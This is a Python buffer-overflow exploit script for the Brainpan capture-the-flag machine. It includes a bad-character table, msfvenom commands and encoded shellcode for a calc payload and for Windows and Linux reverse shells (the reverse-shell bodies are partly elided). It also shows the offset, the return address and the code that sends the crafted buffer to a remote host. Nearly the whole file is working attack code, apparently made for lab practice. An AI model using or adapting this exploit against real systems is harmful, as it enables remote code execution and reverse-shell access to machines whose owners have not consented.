BOF_BRAINPAN.PY

For brainpan CTF machine

import socket

rhost="<RHOST>"
rport=<RPORT>
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

# all 255 bytes
badchars = ( 
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

#Payload: Calc
#Command: calc.exe: msfvenom -p windows/exec EXITFUNC=thread CMD=calc.exe -f python -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai -v shellcode_calc
#Size: 220
shellcode_calc =  b""
shellcode_calc += b"\xda\xcd\xbf\xbf\xa8\xb1\x5c\xd9\x74\x24"
shellcode_calc += b"\xf4\x5e\x2b\xc9\xb1\x31\x83\xc6\x04\x31"
shellcode_calc += b"\x7e\x14\x03\x7e\xab\x4a\x44\xa0\x3b\x08"
shellcode_calc += b"\xa7\x59\xbb\x6d\x21\xbc\x8a\xad\x55\xb4"
shellcode_calc += b"\xbc\x1d\x1d\x98\x30\xd5\x73\x09\xc3\x9b"
shellcode_calc += b"\x5b\x3e\x64\x11\xba\x71\x75\x0a\xfe\x10"
shellcode_calc += b"\xf5\x51\xd3\xf2\xc4\x99\x26\xf2\x01\xc7"
shellcode_calc += b"\xcb\xa6\xda\x83\x7e\x57\x6f\xd9\x42\xdc"
shellcode_calc += b"\x23\xcf\xc2\x01\xf3\xee\xe3\x97\x88\xa8"
shellcode_calc += b"\x23\x19\x5d\xc1\x6d\x01\x82\xec\x24\xba"
shellcode_calc += b"\x70\x9a\xb6\x6a\x49\x63\x14\x53\x66\x96"
shellcode_calc += b"\x64\x93\x40\x49\x13\xed\xb3\xf4\x24\x2a"
shellcode_calc += b"\xce\x22\xa0\xa9\x68\xa0\x12\x16\x89\x65"
shellcode_calc += b"\xc4\xdd\x85\xc2\x82\xba\x89\xd5\x47\xb1"
shellcode_calc += b"\xb5\x5e\x66\x16\x3c\x24\x4d\xb2\x65\xfe"
shellcode_calc += b"\xec\xe3\xc3\x51\x10\xf3\xac\x0e\xb4\x7f"
shellcode_calc += b"\x40\x5a\xc5\xdd\x0e\x9d\x5b\x58\x7c\x9d"
shellcode_calc += b"\x63\x63\xd0\xf6\x52\xe8\xbf\x81\x6a\x3b"
shellcode_calc += b"\x84\x6e\x89\xee\xf0\x06\x14\x7b\xb9\x4a"
shellcode_calc += b"\xa7\x51\xfd\x72\x24\x50\x7d\x81\x34\x11"
shellcode_calc += b"\x78\xcd\xf2\xc9\xf0\x5e\x97\xed\xa7\x5f"
shellcode_calc += b"\xb2\x8d\x26\xcc\x5e\x7c\xcd\x74\xc4\x80"

#Payload: Win Rev Shell
#Command: msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread -f python -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -v shellcode_rev
#Size: 351 bytes
shellcode_rev =  b""
..
..
..
shellcode_rev += b"\x3c"

#Payload: Linux rev shell
#Command: msfvenom -p linux/x86/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread -f python -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai -v shellcode_rev1
#Size: 95
shellcode_rev1 =  b""
..
..
..
shellcode_rev1 += b"\x95\x37\x57\xd6\xd6"


#buffer = 'A' * 2000
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
#buffer = 'A'*524+'B'*4 + 'C'*(2000-524-4)
#buffer = 'A'*524+'B'*4 + badchars + 'C'*(2000-524-4-255)
#buffer = 'A'*524 + '\xf3\x12\x17\x31' + "\x83\xec\x10"  + shellcode_calc  + 'C'*(2000-524-4-255)
#buffer = 'A'*524 + '\xf3\x12\x17\x31' + "\x83\xec\x10"  + shellcode_rev  + 'C'*(2000-524-4-255)
buffer = 'A'*524 + '\xf3\x12\x17\x31' + "\x83\xec\x10"  + shellcode_rev1  + 'C'*(2000-524-4-95-3)


try:
        print "\nSending evil buffer..."
        s.connect((rhost,rport))
        print repr(s.recv(1024))

        s.send(buffer+'\r\n')
        print repr(s.recv(1024))
        print "\nDone."
        s.close()
except Exception, e:
        print("Exception: %s" % e)